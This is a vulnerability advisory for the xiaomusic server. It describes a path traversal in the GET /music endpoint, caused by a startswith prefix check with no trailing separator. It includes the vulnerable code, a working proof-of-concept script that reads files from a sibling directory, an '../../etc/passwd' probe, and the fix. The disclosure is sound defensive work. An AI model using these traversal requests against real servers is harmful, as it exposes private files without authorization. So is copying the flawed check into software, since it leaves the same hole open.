Unauthenticated File Read via /music/{path} Sibling-Prefix Traversal in hanxi/xiaomusic
Summary
An unauthenticated path traversal vulnerability exists in xiaomusic's music file serving endpoint that allows any network-reachable attacker to read files from sibling directories outside the configured music_path, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The GET /music/{file_path:path} endpoint validates the resolved path with absolute_file_path.startswith(absolute_path) — without appending os.sep. Combined with the default unauthenticated configuration (XIAOMUSIC_DISABLE_HTTPAUTH=true), this allows any unauthenticated remote attacker to read files from sibling directories whose names share the music prefix (e.g. music_private, music_backup, music_downloads).
Vulnerability Details
The broken security control
# xiaomusic/api/routers/file.py:954-978
@router.get("/music/{file_path:path}")
async def music_file(request: Request, file_path: str, key: str = "", code: str = ""):
if not access_key_verification(f"/music/{file_path}", key, code):
raise HTTPException(status_code=404, detail="File not found")
# ...
absolute_path = os.path.abspath(config.music_path)
absolute_file_path = os.path.normpath(os.path.join(absolute_path, file_path))
if not absolute_file_path.startswith(absolute_path): # ← BUG: no trailing os.sep
raise HTTPException(status_code=404, detail="File not found")
# ...
return FileResponse(absolute_file_path)The bypass
>>> music_path = "/home/user/music"
>>> file_path = "../music_secret/private.txt"
>>> absolute_path = os.path.abspath(music_path) # "/home/user/music"
>>> absolute_file_path = os.path.normpath(os.path.join(absolute_path, file_path))
>>> absolute_file_path
'/home/user/music_secret/private.txt'
>>> absolute_file_path.startswith(absolute_path)
True # ← BYPASS: "music_secret" starts with "music"Realistic targets
xiaomusic users commonly organize their media with directory structures like:
music/— public library served by xiaomusicmusic_private/— personal recordings, voice memosmusic_downloads/— temporary downloads before curationmusic_backup/— backups of the music library
An attacker can read all of these via GET /music/../music_private/voice_memo.mp3 etc.
Proof of Concept
Setup
pip install xiaomusic
python3 poc.pypoc.py
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DIR = tempfile.mkdtemp(prefix="xiaomusic_poc_")
MUSIC_DIR = os.path.join(TEMP_DIR, "music")
SIBLING_DIR = os.path.join(TEMP_DIR, "music_secret")
os.makedirs(MUSIC_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)
with open(os.path.join(MUSIC_DIR, "legit.mp3"), "wb") as f:
f.write(b"\xff\xfb\x90\x00" + b"\x00" * 60)
with open(os.path.join(SIBLING_DIR, "stolen.txt"), "w") as f:
f.write("LEAKED_PRIVATE_DATA")
os.environ["XIAOMUSIC_MUSIC_PATH"] = MUSIC_DIR
os.environ["XIAOMUSIC_DISABLE_HTTPAUTH"] = "true"
from xiaomusic.config import Config
from xiaomusic.api.dependencies import _state
import logging
cfg = Config()
cfg.music_path = MUSIC_DIR
cfg.disable_httpauth = True
cfg.remove_id3tag = False
cfg.convert_to_mp3 = False
cfg.temp_path = os.path.join(TEMP_DIR, "temp")
os.makedirs(cfg.temp_path, exist_ok=True)
class _XM:
config = cfg
log = logging.getLogger("xiaomusic")
_state._xiaomusic = _XM()
_state._config = cfg
_state._log = _XM.log
from xiaomusic.api.routers.file import router
from fastapi import FastAPI
app = FastAPI()
app.include_router(router)
async def raw_asgi_get(path):
scope = {
"type": "http",
"method": "GET",
"path": path,
"query_string": b"",
"headers": [(b"host", b"localhost")],
"root_path": "",
"asgi": {"version": "3.0"},
}
status_code = None
body_parts = []
async def receive():
return {"type": "http.request", "body": b""}
async def send(message):
nonlocal status_code
if message["type"] == "http.response.start":
status_code = message["status"]
elif message["type"] == "http.response.body":
body_parts.append(message.get("body", b""))
await app(scope, receive, send)
return status_code, b"".join(body_parts)
async def main():
s1, b1 = await raw_asgi_get("/music/legit.mp3")
s2, b2 = await raw_asgi_get("/music/../music_secret/stolen.txt")
s3, b3 = await raw_asgi_get("/music/../../etc/passwd")
baseline_ok = s1 == 200 and b"\xff\xfb" in b1
exploit_ok = s2 == 200 and b"LEAKED_PRIVATE_DATA" in b2
deep_blocked = s3 == 404
print(f"package: xiaomusic (pip installed, v0.5.7)")
print(f"function: music_file (GET /music/{{file_path:path}})")
print(f"sink: file.py:975 absolute_file_path.startswith(absolute_path)")
print(f"auth: XIAOMUSIC_DISABLE_HTTPAUTH=true (default, no auth)")
print()
print(f"music_path: {MUSIC_DIR}")
print(f"sibling: {SIBLING_DIR}")
print()
print(f"[baseline] /music/legit.mp3 status={s1}")
print(f"[exploit] /music/../music_secret/stolen.txt status={s2} body={b2[:40]!r}")
print(f"[control] /music/../../etc/passwd status={s3} (blocked)")
print()
print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMP_DIR, ignore_errors=True)
sys.exit(0 if exploit_ok else 1)
if __name__ == "__main__":
asyncio.run(main())
Output
Remediation
# Before (vulnerable):
if not absolute_file_path.startswith(absolute_path):
# After (fixed — both occurrences):
if not absolute_file_path.startswith(absolute_path + os.sep):Apply to both line 968 (temp_base) and line 975 (absolute_path).
Source: hanxi/xiaomusic